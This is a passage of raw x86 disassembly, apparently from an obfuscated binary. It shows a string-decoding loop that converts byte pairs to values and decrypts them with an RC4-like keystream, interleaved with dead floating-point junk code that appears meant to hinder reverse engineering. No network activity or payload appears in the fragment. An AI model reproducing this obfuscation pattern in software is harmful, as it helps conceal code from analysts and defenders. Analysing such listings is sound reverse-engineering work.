movsx dx, byte [ebp - 0x3330]
mov eax, dword [ebp - 0x3390]
mov word [ebp + eax*2 - 0x34e], dx
jmp 0x437a7a
mov ecx, dword [ebp - 0x35f4]
add ecx, 1
mov dword [ebp - 0x35f4], ecx
mov edx, dword [ebp - 0x3390]
add edx, 1
mov dword [ebp - 0x3390], edx
mov eax, dword [ebp - 0x35f4]
add eax, 1
mov dword [ebp - 0x35f4], eax
mov ecx, dword [ebp - 0x3390]
shl ecx, 1
mov dword [ebp - 0x3a68], ecx
mov edx, dword [ebp - 0x3a6c]
add edx, dword [ebp - 0x3a68]
movzx eax, byte [edx]
mov dword [ebp - 0x398c], eax
mov dword [ebp - 0x3990], 0x27
mov ecx, dword [ebp - 0x3390]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3ab8], edx
mov eax, dword [ebp - 0x3a6c]
add eax, dword [ebp - 0x3ab8]
movzx ecx, byte [eax]
mov dword [ebp - 0x3994], ecx
mov dword [ebp - 0x3998], 0x80
mov edx, dword [ebp - 0x398c]
sub edx, dword [ebp - 0x3990]
mov dword [ebp - 0x399c], edx
mov eax, dword [ebp - 0x3994]
sub eax, dword [ebp - 0x3998]
mov dword [ebp - 0x39a0], eax
mov ecx, dword [ebp - 0x399c]
shl ecx, 4
mov dword [ebp - 0x3a70], ecx
mov edx, dword [ebp - 0x39a0]
mov dword [ebp - 0x3ab4], edx
mov eax, dword [ebp - 0x3a70]
or eax, dword [ebp - 0x3ab4]
mov dword [ebp - 0x3a80], eax
mov cl, byte [ebp - 0x3a80]
mov byte [ebp - 0x32e6], cl
movzx edx, byte [ebp - 0x32b1]
mov al, byte [ebp + edx - 0x59a0]
mov byte [ebp - 0x32e4], al
movzx ecx, byte [ebp - 0x327c]
movzx edx, byte [ebp + ecx - 0x59a0]
movzx eax, byte [ebp - 0x328b]
add eax, edx
mov byte [ebp - 0x328b], al
mov cl, byte [ebp - 0x327c]
add cl, 1
mov byte [ebp - 0x327c], cl
movzx edx, byte [ebp - 0x328b]
movzx eax, byte [ebp - 0x32b1]
mov cl, byte [ebp + edx - 0x59a0]
mov byte [ebp + eax - 0x59a0], cl
movzx edx, byte [ebp - 0x328d]
movzx eax, byte [ebp - 0x328b]
mov cl, byte [ebp + edx - 0x59a0]
mov byte [ebp + eax - 0x59a0], cl
movzx edx, byte [ebp - 0x327c]
movzx eax, byte [ebp - 0x328d]
mov cl, byte [ebp + edx - 0x59a0]
mov byte [ebp + eax - 0x59a0], cl
movzx edx, byte [ebp - 0x327c]
mov al, byte [ebp - 0x32e4]
mov byte [ebp + edx - 0x59a0], al
movzx ecx, byte [ebp - 0x32e4]
movzx edx, byte [ebp + ecx - 0x59a0]
movzx eax, byte [ebp - 0x32e5]
add eax, edx
mov byte [ebp - 0x32e5], al
movzx ecx, byte [ebp - 0x32e6]
movzx edx, byte [ebp - 0x328b]
movzx eax, byte [ebp + edx - 0x59a0]
movzx edx, byte [ebp - 0x327c]
movzx edx, byte [ebp + edx - 0x59a0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x59a0]
xor ecx, eax
movzx edx, byte [ebp - 0x328d]
movzx eax, byte [ebp + edx - 0x59a0]
movzx edx, byte [ebp - 0x32b1]
movzx edx, byte [ebp + edx - 0x59a0]
add eax, edx
movzx edx, byte [ebp - 0x32e5]
movzx edx, byte [ebp + edx - 0x59a0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x59a0]
movzx edx, byte [ebp + eax - 0x59a0]
xor ecx, edx
mov byte [ebp - 0x328d], cl
mov al, byte [ebp - 0x32e6]
mov byte [ebp - 0x32b1], al
mov cl, byte [ebp - 0x328d]
mov byte [ebp - 0x3330], cl
cmp dword [ebp - 0x3390], 0
jle 0x437f52
movsx dx, byte [ebp - 0x3330]
mov eax, dword [ebp - 0x3390]
mov word [ebp + eax*2 - 0x34e], dx
mov ecx, dword [ebp - 0x3390]
add ecx, 1
mov dword [ebp - 0x3390], ecx
mov edx, dword [ebp - 0x35f4]
add edx, 1
mov dword [ebp - 0x35f4], edx
mov eax, dword [ebp - 0x3390]
shl eax, 1
mov dword [ebp - 0x3a68], eax
mov ecx, dword [ebp - 0x3a6c]
add ecx, dword [ebp - 0x3a68]
movzx edx, byte [ecx]
mov dword [ebp - 0x398c], edx
mov dword [ebp - 0x3990], 0x27
mov eax, dword [ebp - 0x3390]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3ab8], ecx
mov edx, dword [ebp - 0x3a6c]
add edx, dword [ebp - 0x3ab8]
movzx eax, byte [edx]
mov dword [ebp - 0x3994], eax
mov dword [ebp - 0x3998], 0x80
mov ecx, dword [ebp - 0x398c]
sub ecx, dword [ebp - 0x3990]
mov dword [ebp - 0x399c], ecx
mov edx, dword [ebp - 0x3994]
sub edx, dword [ebp - 0x3998]
mov dword [ebp - 0x39a0], edx
mov eax, dword [ebp - 0x399c]
shl eax, 4
mov dword [ebp - 0x3a70], eax
mov ecx, dword [ebp - 0x39a0]
mov dword [ebp - 0x3ab4], ecx
mov edx, dword [ebp - 0x3a70]
or edx, dword [ebp - 0x3ab4]
mov dword [ebp - 0x3a80], edx
mov al, byte [ebp - 0x3a80]
mov byte [ebp - 0x32e6], al
movzx ecx, byte [ebp - 0x32b1]
mov dl, byte [ebp + ecx - 0x59a0]
mov byte [ebp - 0x32e4], dl
movzx eax, byte [ebp - 0x327c]
movzx ecx, byte [ebp + eax - 0x59a0]
movzx edx, byte [ebp - 0x328b]
add edx, ecx
mov byte [ebp - 0x328b], dl
mov al, byte [ebp - 0x327c]
add al, 1
mov byte [ebp - 0x327c], al
movzx ecx, byte [ebp - 0x328b]
movzx edx, byte [ebp - 0x32b1]
mov al, byte [ebp + ecx - 0x59a0]
mov byte [ebp + edx - 0x59a0], al
movzx ecx, byte [ebp - 0x328d]
movzx edx, byte [ebp - 0x328b]
mov al, byte [ebp + ecx - 0x59a0]
mov byte [ebp + edx - 0x59a0], al
movzx ecx, byte [ebp - 0x327c]
movzx edx, byte [ebp - 0x328d]
mov al, byte [ebp + ecx - 0x59a0]
mov byte [ebp + edx - 0x59a0], al
movzx ecx, byte [ebp - 0x327c]
mov dl, byte [ebp - 0x32e4]
mov byte [ebp + ecx - 0x59a0], dl
movzx eax, byte [ebp - 0x32e4]
movzx ecx, byte [ebp + eax - 0x59a0]
movzx edx, byte [ebp - 0x32e5]
add edx, ecx
mov byte [ebp - 0x32e5], dl
movzx eax, byte [ebp - 0x32e6]
movzx ecx, byte [ebp - 0x328b]
movzx edx, byte [ebp + ecx - 0x59a0]
movzx ecx, byte [ebp - 0x327c]
movzx ecx, byte [ebp + ecx - 0x59a0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x59a0]
xor eax, edx
movzx ecx, byte [ebp - 0x328d]
movzx edx, byte [ebp + ecx - 0x59a0]
movzx ecx, byte [ebp - 0x32b1]
movzx ecx, byte [ebp + ecx - 0x59a0]
add edx, ecx
movzx ecx, byte [ebp - 0x32e5]
movzx ecx, byte [ebp + ecx - 0x59a0]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x59a0]
movzx ecx, byte [ebp + edx - 0x59a0]
xor eax, ecx
mov byte [ebp - 0x328d], al
mov dl, byte [ebp - 0x32e6]
mov byte [ebp - 0x32b1], dl
mov al, byte [ebp - 0x328d]
mov byte [ebp - 0x3330], al
cmp dword [ebp - 0x3390], 0
jle 0x4381ac
movsx cx, byte [ebp - 0x3330]
mov edx, dword [ebp - 0x3390]
mov word [ebp + edx*2 - 0x34e], cx
mov eax, dword [ebp - 0x35f4]
add eax, 0x12
mov dword [ebp - 0x35f4], eax
mov ecx, dword [ebp - 0x3390]
add ecx, 1
mov dword [ebp - 0x4c08], ecx
jmp 0x4381db
mov edx, dword [ebp - 0x4c08]
add edx, 1
mov dword [ebp - 0x4c08], edx
mov eax, dword [ebp - 0x4c08]
cmp eax, dword [ebp - 0x35f4]
jge 0x43878d
mov ecx, dword [ebp - 0x3390]
add ecx, 1
mov dword [ebp - 0x3390], ecx
mov edx, dword [ebp - 0x3390]
shl edx, 1
mov dword [ebp - 0x3a68], edx
mov eax, dword [ebp - 0x3a6c]
add eax, dword [ebp - 0x3a68]
movzx ecx, byte [eax]
mov dword [ebp - 0x398c], ecx
mov dword [ebp - 0x3990], 0x27
mov edx, dword [ebp - 0x3390]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3ab8], eax
mov ecx, dword [ebp - 0x3a6c]
add ecx, dword [ebp - 0x3ab8]
movzx edx, byte [ecx]
mov dword [ebp - 0x3994], edx
mov dword [ebp - 0x3998], 0x80
mov eax, dword [ebp - 0x398c]
sub eax, dword [ebp - 0x3990]
mov dword [ebp - 0x399c], eax
mov ecx, dword [ebp - 0x3994]
sub ecx, dword [ebp - 0x3998]
mov dword [ebp - 0x39a0], ecx
mov edx, dword [ebp - 0x399c]
shl edx, 4
mov dword [ebp - 0x3a70], edx
mov eax, dword [ebp - 0x39a0]
mov dword [ebp - 0x3ab4], eax
mov ecx, dword [ebp - 0x3a70]
or ecx, dword [ebp - 0x3ab4]
mov dword [ebp - 0x3a80], ecx
mov dl, byte [ebp - 0x3a80]
mov byte [ebp - 0x32e6], dl
movzx eax, byte [ebp - 0x32b1]
mov cl, byte [ebp + eax - 0x59a0]
mov byte [ebp - 0x32e4], cl
movzx edx, byte [ebp - 0x327c]
movzx eax, byte [ebp + edx - 0x59a0]
movzx ecx, byte [ebp - 0x328b]
add ecx, eax
mov byte [ebp - 0x328b], cl
mov dl, byte [ebp - 0x327c]
add dl, 1
mov byte [ebp - 0x327c], dl
movzx eax, byte [ebp - 0x328b]
movzx ecx, byte [ebp - 0x32b1]
mov dl, byte [ebp + eax - 0x59a0]
mov byte [ebp + ecx - 0x59a0], dl
movzx eax, byte [ebp - 0x328d]
movzx ecx, byte [ebp - 0x328b]
mov dl, byte [ebp + eax - 0x59a0]
mov byte [ebp + ecx - 0x59a0], dl
movzx eax, byte [ebp - 0x327c]
movzx ecx, byte [ebp - 0x328d]
mov dl, byte [ebp + eax - 0x59a0]
mov byte [ebp + ecx - 0x59a0], dl
movsd xmm0, qword [0xa66f78]
movsd qword [ebp - 0x40ac], xmm0
movsd xmm0, qword [0xa66ea8]
movsd qword [ebp - 0x4310], xmm0
movsd xmm0, qword [0xa66cf8]
movsd qword [ebp - 0x3e50], xmm0
movsd xmm0, qword [0xa66af0]
movsd qword [ebp - 0x4240], xmm0
movsd xmm0, qword [0xa66880]
movsd qword [ebp - 0x4478], xmm0
movsd xmm0, qword [ebp - 0x40ac]
subsd xmm0, qword [ebp - 0x4478]
movsd qword [ebp - 0x40ac], xmm0
movsd xmm0, qword [ebp - 0x3e50]
mulsd xmm0, qword [ebp - 0x4478]
movsd qword [ebp - 0x3e50], xmm0
movsd xmm0, qword [ebp - 0x4310]
mulsd xmm0, qword [ebp - 0x4478]
movsd qword [ebp - 0x4310], xmm0
movsd xmm0, qword [ebp - 0x3e50]
subsd xmm0, qword [ebp - 0x4478]
movsd qword [ebp - 0x3e50], xmm0
movsd xmm0, qword [ebp - 0x4310]
addsd xmm0, qword [ebp - 0x4478]
movsd qword [ebp - 0x4310], xmm0
movsd xmm0, qword [ebp - 0x4310]
comisd xmm0, xmmword [ebp - 0x4478]
jbe 0x4384b9
movsd xmm0, qword [ebp - 0x4310]
mulsd xmm0, qword [ebp - 0x4240]
movsd qword [ebp - 0x4310], xmm0
movsd xmm0, qword [ebp - 0x40ac]
mulsd xmm0, qword [ebp - 0x3e50]
movsd qword [ebp - 0x40ac], xmm0
movsd xmm0, qword [ebp - 0x4310]
addsd xmm0, qword [ebp - 0x4240]
movsd qword [ebp - 0x4310], xmm0
movsd xmm0, qword [ebp - 0x40ac]
mulsd xmm0, qword [ebp - 0x3e50]
movsd qword [ebp - 0x40ac], xmm0
movsd xmm0, qword [ebp - 0x40ac]
mulsd xmm0, qword [ebp - 0x3e50]
movsd qword [ebp - 0x40ac], xmm0
movzx eax, byte [ebp - 0x327c]
mov cl, byte [ebp - 0x32e4]
mov byte [ebp + eax - 0x59a0], cl
jmp 0x4386ad
movsd xmm0, qword [ebp - 0x3e50]
divsd xmm0, qword [ebp - 0x4240]
movsd qword [ebp - 0x3e50], xmm0
movsd xmm0, qword [ebp - 0x4310]
divsd xmm0, qword [ebp - 0x3e50]
movsd qword [ebp - 0x4310], xmm0
movsd xmm0, qword [ebp - 0x4310]
divsd xmm0, qword [ebp - 0x3e50]
movsd qword [ebp - 0x4310], xmm0
movsd xmm0, qword [ebp - 0x3e50]
subsd xmm0, qword [ebp - 0x4240]
movsd qword [ebp - 0x3e50], xmm0
movsd xmm0, qword [ebp - 0x3e50]
subsd xmm0, qword [ebp - 0x4240]
movsd qword [ebp - 0x3e50], xmm0
movsd xmm0, qword [ebp - 0x4478]
divsd xmm0, qword [ebp - 0x4310]
movsd qword [ebp - 0x4478], xmm0
movsd xmm0, qword [ebp - 0x4240]
divsd xmm0, qword [ebp - 0x40ac]
movsd qword [ebp - 0x4240], xmm0
movsd xmm0, qword [ebp - 0x40ac]
divsd xmm0, qword [ebp - 0x3e50]
movsd qword [ebp - 0x40ac], xmm0
movsd xmm0, qword [ebp - 0x4240]
divsd xmm0, qword [ebp - 0x40ac]
movsd qword [ebp - 0x4240], xmm0
movsd xmm0, qword [ebp - 0x4478]
divsd xmm0, qword [ebp - 0x4310]
movsd qword [ebp - 0x4478], xmm0
movsd xmm0, qword [ebp - 0x3e50]
comisd xmm0, xmmword [ebp - 0x40ac]
jbe 0x438635
movsd xmm0, qword [ebp - 0x40ac]
mulsd xmm0, qword [ebp - 0x3e50]
movsd qword [ebp - 0x40ac], xmm0
movsd xmm0, qword [ebp - 0x4240]
subsd xmm0, qword [ebp - 0x40ac]
movsd qword [ebp - 0x4240], xmm0
movsd xmm0, qword [ebp - 0x4240]
divsd xmm0, qword [ebp - 0x40ac]
movsd qword [ebp - 0x4240], xmm0
movsd xmm0, qword [ebp - 0x4240]
mulsd xmm0, qword [ebp - 0x40ac]
movsd qword [ebp - 0x4240], xmm0
movsd xmm0, qword [ebp - 0x3e50]
mulsd xmm0, qword [ebp - 0x4478]
movsd qword [ebp - 0x3e50], xmm0
jmp 0x4386ad
movsd xmm0, qword [ebp - 0x3e50]
divsd xmm0, qword [ebp - 0x4478]
movsd qword [ebp - 0x3e50], xmm0
movsd xmm0, qword [ebp - 0x4240]
subsd xmm0, qword [ebp - 0x40ac]
movsd qword [ebp - 0x4240], xmm0
movsd xmm0, qword [ebp - 0x4310]
mulsd xmm0, qword [ebp - 0x4240]
movsd qword [ebp - 0x4310], xmm0
movsd xmm0, qword [ebp - 0x40ac]
addsd xmm0, qword [ebp - 0x3e50]
movsd qword [ebp - 0x40ac], xmm0
movsd xmm0, qword [ebp - 0x3e50]
subsd xmm0, qword [ebp - 0x4478]
movsd qword [ebp - 0x3e50], xmm0
movzx edx, byte [ebp - 0x32e4]
movzx eax, byte [ebp + edx - 0x59a0]
movzx ecx, byte [ebp - 0x32e5]
add ecx, eax
mov byte [ebp - 0x32e5], cl
movzx edx, byte [ebp - 0x32e6]
movzx eax, byte [ebp - 0x328b]
movzx ecx, byte [ebp + eax - 0x59a0]
movzx eax, byte [ebp - 0x327c]
movzx eax, byte [ebp + eax - 0x59a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x59a0]
xor edx, ecx
movzx eax, byte [ebp - 0x328d]
movzx ecx, byte [ebp + eax - 0x59a0]
movzx eax, byte [ebp - 0x32b1]
movzx eax, byte [ebp + eax - 0x59a0]
add ecx, eax
movzx eax, byte [ebp - 0x32e5]
movzx eax, byte [ebp + eax - 0x59a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x59a0]
movzx eax, byte [ebp + ecx - 0x59a0]
xor edx, eax
mov byte [ebp - 0x328d], dl
mov cl, byte [ebp - 0x32e6]
mov byte [ebp - 0x32b1], cl
mov dl, byte [ebp - 0x328d]
mov byte [ebp - 0x3330], dl
cmp dword [ebp - 0x3390], 0
jle 0x438788
movsx ax, byte [ebp - 0x3330]
mov ecx, dword [ebp - 0x3390]
mov word [ebp + ecx*2 - 0x34e], ax
jmp 0x4381cc
mov edx, dword [ebp - 0x35f4]
add edx, 1
mov dword [ebp - 0x35f4], edx
mov eax, dword [ebp - 0x3390]
add eax, 1
mov dword [ebp - 0x3390], eax
mov ecx, dword [ebp - 0x35f4]
add ecx, 1
mov dword [ebp - 0x35f4], ecx
mov edx, dword [ebp - 0x3390]
shl edx, 1
mov dword [ebp - 0x3a68], edx
mov eax, dword [ebp - 0x3a6c]
add eax, dword [ebp - 0x3a68]
movzx ecx, byte [eax]
mov dword [ebp - 0x398c], ecx
mov dword [ebp - 0x3990], 0x27
movss xmm0, dword [0xa6742c]
movss dword [ebp - 0x37e4], xmm0
movss xmm0, dword [0xa673a8]
movss dword [ebp - 0x38b0], xmm0
movss xmm0, dword [0xa672d8]
movss dword [ebp - 0x3988], xmm0
movss xmm0, dword [0xa671e4]
movss dword [ebp - 0x3a64], xmm0
movss xmm0, dword [0xa67110]
movss dword [ebp - 0x37e8], xmm0
movss xmm0, dword [0xa67024]
movss dword [ebp - 0x35a8], xmm0
movss xmm0, dword [ebp - 0x3a64]
mulss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x3a64], xmm0
movss xmm0, dword [ebp - 0x37e4]
subss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x37e4], xmm0
movss xmm0, dword [ebp - 0x3a64]
addss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x3a64], xmm0
movss xmm0, dword [ebp - 0x37e8]
addss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x37e8], xmm0
movss xmm0, dword [ebp - 0x38b0]
subss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x38b0], xmm0
movss xmm0, dword [ebp - 0x38b0]
addss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x38b0], xmm0
movss xmm0, dword [ebp - 0x35a8]
comiss xmm0, dword [ebp - 0x3a64]
jbe 0x438b4b
movss xmm0, dword [ebp - 0x35a8]
divss xmm0, dword [ebp - 0x38b0]
movss dword [ebp - 0x35a8], xmm0
movss xmm0, dword [ebp - 0x38b0]
divss xmm0, dword [ebp - 0x3a64]
movss dword [ebp - 0x38b0], xmm0
movss xmm0, dword [ebp - 0x3988]
divss xmm0, dword [ebp - 0x37e8]
movss dword [ebp - 0x3988], xmm0
movss xmm0, dword [ebp - 0x37e4]
divss xmm0, dword [ebp - 0x3988]
movss dword [ebp - 0x37e4], xmm0
movss xmm0, dword [ebp - 0x37e8]
subss xmm0, dword [ebp - 0x37e4]
movss dword [ebp - 0x37e8], xmm0
movss xmm0, dword [ebp - 0x3988]
divss xmm0, dword [ebp - 0x37e8]
movss dword [ebp - 0x3988], xmm0
movss xmm0, dword [ebp - 0x3a64]
divss xmm0, dword [ebp - 0x37e8]
movss dword [ebp - 0x3a64], xmm0
movss xmm0, dword [ebp - 0x37e4]
divss xmm0, dword [ebp - 0x38b0]
movss dword [ebp - 0x37e4], xmm0
movss xmm0, dword [ebp - 0x3a64]
subss xmm0, dword [ebp - 0x37e8]
movss dword [ebp - 0x3a64], xmm0
movss xmm0, dword [ebp - 0x35a8]
subss xmm0, dword [ebp - 0x37e4]
movss dword [ebp - 0x35a8], xmm0
movss xmm0, dword [ebp - 0x37e4]
subss xmm0, dword [ebp - 0x38b0]
movss dword [ebp - 0x37e4], xmm0
movss xmm0, dword [ebp - 0x37e4]
mulss xmm0, dword [ebp - 0x38b0]
movss dword [ebp - 0x37e4], xmm0
movss xmm0, dword [ebp - 0x37e4]
comiss xmm0, dword [ebp - 0x37e8]
jbe 0x438ab6
movss xmm0, dword [ebp - 0x37e4]
addss xmm0, dword [ebp - 0x38b0]
movss dword [ebp - 0x37e4], xmm0
movss xmm0, dword [ebp - 0x3988]
mulss xmm0, dword [ebp - 0x3a64]
movss dword [ebp - 0x3988], xmm0
movss xmm0, dword [ebp - 0x37e4]
addss xmm0, dword [ebp - 0x38b0]
movss dword [ebp - 0x37e4], xmm0
movss xmm0, dword [ebp - 0x37e8]
subss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x37e8], xmm0
movss xmm0, dword [ebp - 0x3a64]
mulss xmm0, dword [ebp - 0x37e8]
movss dword [ebp - 0x3a64], xmm0
movss xmm0, dword [ebp - 0x35a8]
mulss xmm0, dword [ebp - 0x37e4]
movss dword [ebp - 0x35a8], xmm0
jmp 0x438b46
movss xmm0, dword [ebp - 0x3988]
mulss xmm0, dword [ebp - 0x37e8]
movss dword [ebp - 0x3988], xmm0
movss xmm0, dword [ebp - 0x35a8]
divss xmm0, dword [ebp - 0x38b0]
movss dword [ebp - 0x35a8], xmm0
movss xmm0, dword [ebp - 0x37e8]
addss xmm0, dword [ebp - 0x37e4]
movss dword [ebp - 0x37e8], xmm0
movss xmm0, dword [ebp - 0x38b0]
subss xmm0, dword [ebp - 0x3a64]
movss dword [ebp - 0x38b0], xmm0
movss xmm0, dword [ebp - 0x35a8]
mulss xmm0, dword [ebp - 0x38b0]
movss dword [ebp - 0x35a8], xmm0
movss xmm0, dword [ebp - 0x3a64]
mulss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x3a64], xmm0
jmp 0x438beb
movss xmm0, dword [ebp - 0x3988]
mulss xmm0, dword [ebp - 0x37e8]
movss dword [ebp - 0x3988], xmm0
movss xmm0, dword [ebp - 0x3988]
subss xmm0, dword [ebp - 0x37e8]
movss dword [ebp - 0x3988], xmm0
movss xmm0, dword [ebp - 0x3988]
mulss xmm0, dword [ebp - 0x37e8]
movss dword [ebp - 0x3988], xmm0
movss xmm0, dword [ebp - 0x3988]
mulss xmm0, dword [ebp - 0x37e8]
movss dword [ebp - 0x3988], xmm0
movss xmm0, dword [ebp - 0x35a8]
mulss xmm0, dword [ebp - 0x38b0]
movss dword [ebp - 0x35a8], xmm0
movss xmm0, dword [ebp - 0x35a8]
subss xmm0, dword [ebp - 0x38b0]
movss dword [ebp - 0x35a8], xmm0
mov edx, dword [ebp - 0x3390]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3ab8], eax
mov ecx, dword [ebp - 0x3a6c]
add ecx, dword [ebp - 0x3ab8]
movzx edx, byte [ecx]
mov dword [ebp - 0x3994], edx
mov dword [ebp - 0x3998], 0x80
mov eax, dword [ebp - 0x398c]
sub eax, dword [ebp - 0x3990]
mov dword [ebp - 0x399c], eax
mov ecx, dword [ebp - 0x3994]
sub ecx, dword [ebp - 0x3998]
mov dword [ebp - 0x39a0], ecx
mov edx, dword [ebp - 0x399c]
shl edx, 4
mov dword [ebp - 0x3a70], edx
mov eax, dword [ebp - 0x39a0]
mov dword [ebp - 0x3ab4], eax
mov ecx, dword [ebp - 0x3a70]
or ecx, dword [ebp - 0x3ab4]
mov dword [ebp - 0x3a80], ecx
mov dl, byte [ebp - 0x3a80]
mov byte [ebp - 0x32e6], dl
movzx eax, byte [ebp - 0x32b1]
mov cl, byte [ebp + eax - 0x59a0]
mov byte [ebp - 0x32e4], cl
movzx edx, byte [ebp - 0x327c]
movzx eax, byte [ebp + edx - 0x59a0]
movzx ecx, byte [ebp - 0x328b]
add ecx, eax
mov byte [ebp - 0x328b], cl
mov dl, byte [ebp - 0x327c]
add dl, 1
mov byte [ebp - 0x327c], dl
movzx eax, byte [ebp - 0x328b]
movzx ecx, byte [ebp - 0x32b1]
mov dl, byte [ebp + eax - 0x59a0]
mov byte [ebp + ecx - 0x59a0], dl
movzx eax, byte [ebp - 0x328d]
movzx ecx, byte [ebp - 0x328b]
mov dl, byte [ebp + eax - 0x59a0]
mov byte [ebp + ecx - 0x59a0], dl
movzx eax, byte [ebp - 0x327c]
movzx ecx, byte [ebp - 0x328d]
mov dl, byte [ebp + eax - 0x59a0]
mov byte [ebp + ecx - 0x59a0], dl
movzx eax, byte [ebp - 0x327c]
mov cl, byte [ebp - 0x32e4]
mov byte [ebp + eax - 0x59a0], cl
movzx edx, byte [ebp - 0x32e4]
movzx eax, byte [ebp + edx - 0x59a0]
movzx ecx, byte [ebp - 0x32e5]
add ecx, eax
mov byte [ebp - 0x32e5], cl
movzx edx, byte [ebp - 0x32e6]
movzx eax, byte [ebp - 0x328b]
movzx ecx, byte [ebp + eax - 0x59a0]
movzx eax, byte [ebp - 0x327c]
movzx eax, byte [ebp + eax - 0x59a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x59a0]
xor edx, ecx
movzx eax, byte [ebp - 0x328d]
movzx ecx, byte [ebp + eax - 0x59a0]
movzx eax, byte [ebp - 0x32b1]
movzx eax, byte [ebp + eax - 0x59a0]
add ecx, eax
movzx eax, byte [ebp - 0x32e5]
movzx eax, byte [ebp + eax - 0x59a0]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x59a0]
movzx eax, byte [ebp + ecx - 0x59a0]
xor edx, eax
mov byte [ebp - 0x328d], dl
mov cl, byte [ebp - 0x32e6]
mov byte [ebp - 0x32b1], cl
mov dl, byte [ebp - 0x328d]
mov byte [ebp - 0x3330], dl
cmp dword [ebp - 0x3390], 0
jle 0x438deb
movsx ax, byte [ebp - 0x3330]
mov ecx, dword [ebp - 0x3390]
mov word [ebp + ecx*2 - 0x34e], ax
mov edx, dword [ebp - 0x3390]
add edx, 1
mov dword [ebp - 0x3390], edx
mov eax, dword [ebp - 0x35f4]
add eax, 1
mov dword [ebp - 0x35f4], eax
mov ecx, dword [ebp - 0x3390]
shl ecx, 1
mov dword [ebp - 0x3a68], ecx
mov edx, dword [ebp - 0x3a6c]
add edx, dword [ebp - 0x3a68]
movzx eax, byte [edx]
mov dword [ebp - 0x398c], eax
mov dword [ebp - 0x3990], 0x27
mov ecx, dword [ebp - 0x3390]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3ab8], edx
mov eax, dword [ebp - 0x3a6c]
add eax, dword [ebp - 0x3ab8]
movzx ecx, byte [eax]
mov dword [ebp - 0x3994], ecx
mov dword [ebp - 0x3998], 0x80
mov edx, dword [ebp - 0x398c]
sub edx, dword [ebp - 0x3990]
mov dword [ebp - 0x399c], edx
mov eax, dword [ebp - 0x3994]
sub eax, dword [ebp - 0x3998]
mov dword [ebp - 0x39a0], eax
mov ecx, dword [ebp - 0x399c]
shl ecx, 4
mov dword [ebp - 0x3a70], ecx
mov edx, dword [ebp - 0x39a0]
mov dword [ebp - 0x3ab4], edx
mov eax, dword [ebp - 0x3a70]
or eax, dword [ebp - 0x3ab4]
mov dword [ebp - 0x3a80], eax
mov cl, byte [ebp - 0x3a80]
mov byte [ebp - 0x32e6], cl
movzx edx, byte [ebp - 0x32b1]
mov al, byte [ebp + edx - 0x59a0]
mov byte [ebp - 0x32e4], al
movzx ecx, byte [ebp - 0x327c]
movzx edx, byte [ebp + ecx - 0x59a0]
movzx eax, byte [ebp - 0x328b]
add eax, edx
mov byte [ebp - 0x328b], al
mov cl, byte [ebp - 0x327c]
add cl, 1
mov byte [ebp - 0x327c], cl
movzx edx, byte [ebp - 0x328b]
movzx eax, byte [ebp - 0x32b1]
mov cl, byte [ebp + edx - 0x59a0]
mov byte [ebp + eax - 0x59a0], cl
movzx edx, byte [ebp - 0x328d]
movzx eax, byte [ebp - 0x328b]
mov cl, byte [ebp + edx - 0x59a0]
mov byte [ebp + eax - 0x59a0], cl
movzx edx, byte [ebp - 0x327c]
movzx eax, byte [ebp - 0x328d]
mov cl, byte [ebp + edx - 0x59a0]
mov byte [ebp + eax - 0x59a0], cl
movzx edx, byte [ebp - 0x327c]
mov al, byte [ebp - 0x32e4]
mov byte [ebp + edx - 0x59a0], al
movzx ecx, byte [ebp - 0x32e4]
movzx edx, byte [ebp + ecx - 0x59a0]
movzx eax, byte [ebp - 0x32e5]
add eax, edx
mov byte [ebp - 0x32e5], al
movzx ecx, byte [ebp - 0x32e6]
movzx edx, byte [ebp - 0x328b]
movzx eax, byte [ebp + edx - 0x59a0]
movzx edx, byte [ebp - 0x327c]
movzx edx, byte [ebp + edx - 0x59a0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x59a0]
xor ecx, eax
movzx edx, byte [ebp - 0x328d]
movzx eax, byte [ebp + edx - 0x59a0]
movzx edx, byte [ebp - 0x32b1]
movzx edx, byte [ebp + edx - 0x59a0]
add eax, edx
movzx edx, byte [ebp - 0x32e5]
movzx edx, byte [ebp + edx - 0x59a0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x59a0]
movzx edx, byte [ebp + eax - 0x59a0]
xor ecx, edx
mov byte [ebp - 0x328d], cl
mov al, byte [ebp - 0x32e6]
mov byte [ebp - 0x32b1], al
mov cl, byte [ebp - 0x328d]
mov byte [ebp - 0x3330], cl
cmp dword [ebp - 0x3390], 0
jle 0x439044
movsx dx, byte [ebp - 0x3330]
mov eax, dword [ebp - 0x3390]
mov word [ebp + eax*2 - 0x34e], dx
mov ecx, 2
imul edx, ecx, 0x28
mov dword [ebp - 0x53b8], edx
cmp dword [ebp - 0x53b8], 0x52
jae 0x43905d
jmp 0x439062
call fcn.009ea777
xor eax, eax
mov ecx, dword [ebp - 0x53b8]
mov word [ebp + ecx - 0x34c], ax
jmp 0x4390c8
mov dword [ebp - 0x49a4], 0
jmp 0x43908f
mov edx, dword [ebp - 0x49a4]
add edx, 1
mov dword [ebp - 0x49a4], edx
cmp dword [ebp - 0x49a4], 0x29
jge 0x4390c8
mov eax, dword [ebp - 0x49a4]
shl eax, 1
mov dword [ebp - 0x53b4], eax
cmp dword [ebp - 0x53b4], 0x52
jae 0x4390b1
